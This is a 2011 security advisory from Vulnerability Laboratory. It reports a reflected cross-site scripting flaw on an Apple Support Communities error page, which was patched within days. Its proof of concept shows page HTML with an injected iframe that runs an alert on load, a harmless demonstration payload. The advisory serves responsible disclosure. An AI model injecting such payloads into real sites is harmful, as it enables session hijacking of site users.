Apple Website - Non Persistent Cross Site Vulnerability

Document Title:
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Apple Website - Non Persistent Cross Site Vulnerability


References (Source):
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http://www.vulnerability-lab.com/get_content.php?id=289

APPLE TICKET ID:
                                             [+] 170816722
HALL OF FAME:
                                             [+] http://support.apple.com/kb/HT1318


Release Date:
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2011-10-06


Vulnerability Laboratory ID (VL-ID):
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289


Product & Service Introduction:
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Our communities are filled with thousands of Mac, iPod, iPhone and iPad users from around the world.
Begin by finding the community focused on your product or topic. Browse the threads for answers, ask 
a question or help out by answering questions. Get an answer quickly. Like or reply to any post. You ll 
be notified by email if anyone replies to your posts. Ask the community and easily track responses.
Help community members get the most out of their products. Get only the content you want in one place.

(Copy of the Vendor Homepage: https://discussions.apple.com/static/apple/tutorial/welcome.html )


Abstract Advisory Information:
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The Vulnerability Laboratory Research Team discovered a non-persistent input validation vulnerability on Apples vendor website.


Vulnerability Disclosure Timeline:
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2011-10-05:	Vendor Notification
2011-10-06:	Vendor Response/Feedback
2011-10-07:	Vendor Fix/Patch
2011-10-07:	Public or Non-Public Disclosure


Discovery Status:
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Published


Affected Product(s):
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Exploitation Technique:
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Remote


Severity Level:
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Medium


Technical Details & Description:
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A non-persistent cross site scripting vulnerability is detected on the famous Apple vendor website portal. 
Successful exploitation of the vulnerability allows an attacker to hijack user/mod/admin sessions of the portal.

Vulnerable Module(s):
							[+] Exception-Handling - We are Sorry

Picture(s):
							../1.png
							../2.png


Proof of Concept (PoC):
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The vulnerabilities can be exploited by remote attackers with required user inter action. For demonstration or reproduce ...

PoC:
<!-- BEGIN main body -->
<div id="jive-body-main">
    <!-- BEGIN main body column -->
<div id="jive-body-maincol-container">
        <div id="jive-body-maincol">	
<h1 class="apple-account-issue-reported">We're sorry.</h1>	
<div id="apple-sso-error">
><iframe src="http://www.vulnerability-lab.com" onload="alert(vulnerabilitylab)" height="800px" width="900px">	 <=[x]	
</div><div id="apple-sso-home">
Return to 
<a href="https://discussions.apple.com">Apple Support Communities</a>.			
</div>
        </div>
    </div>
<!-- END main body column -->
</div>
<!-- END main body -->   
</div>	        
<div class="clear"></div>		
<div class="boot"></div>		
</div><!--/content-->	
</div><!--/#main-->


Reference(s):
				../apple-sso-error.txt
				../sso-error!home.jspa


Security Risk:
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The security risk of the reflective xss vulnerabilities are estimated as medium(-).


Credits & Authors:
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Vulnerability Research Laboratory - Alexander Fuchs (f0X23)


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